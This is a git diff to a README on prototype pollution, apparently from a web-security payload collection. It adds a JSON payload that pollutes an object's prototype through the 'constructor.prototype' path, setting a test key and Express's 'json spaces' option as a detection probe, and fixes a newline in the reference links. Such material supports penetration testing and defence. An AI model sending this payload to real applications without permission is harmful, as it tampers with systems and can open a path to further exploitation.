diff --git a/Prototype Pollution/README.md b/Prototype Pollution/README.md
index 5770e1b806..4431bce5a1 100644
--- a/Prototype Pollution/README.md	
+++ b/Prototype Pollution/README.md	
@@ -99,6 +99,19 @@ Asynchronous payload for NodeJS.
 }
 ```
 
+Polluting the prototype via the `constructor` property instead.
+
+```js
+{
+    "constructor": {
+        "prototype": {
+            "foo": "bar",
+            "json spaces": 10
+        }
+    }
+}
+```
+
 
 ### Prototype Pollution in URL
 
@@ -176,4 +189,4 @@ Either create your own gadget using part of the source with [yeswehack/pp-finder
 * [Prototype Pollution Leads to RCE: Gadgets Everywhere - Mikhail Shcherbakov](https://youtu.be/v5dq80S1WF4)
 * [Server side prototype pollution, how to detect and exploit - YesWeHack](https://blog.yeswehack.com/talent-development/server-side-prototype-pollution-how-to-detect-and-exploit/)
 * [Server-side prototype pollution: Black-box detection without the DoS - Gareth Heyes - 15 February 2023](https://portswigger.net/research/server-side-prototype-pollution)
-* [Keynote | Server Side Prototype Pollution: Blackbox Detection Without The DoS - Gareth Heyes](https://youtu.be/LD-KcuKM_0M)
\ No newline at end of file
+* [Keynote | Server Side Prototype Pollution: Blackbox Detection Without The DoS - Gareth Heyes](https://youtu.be/LD-KcuKM_0M)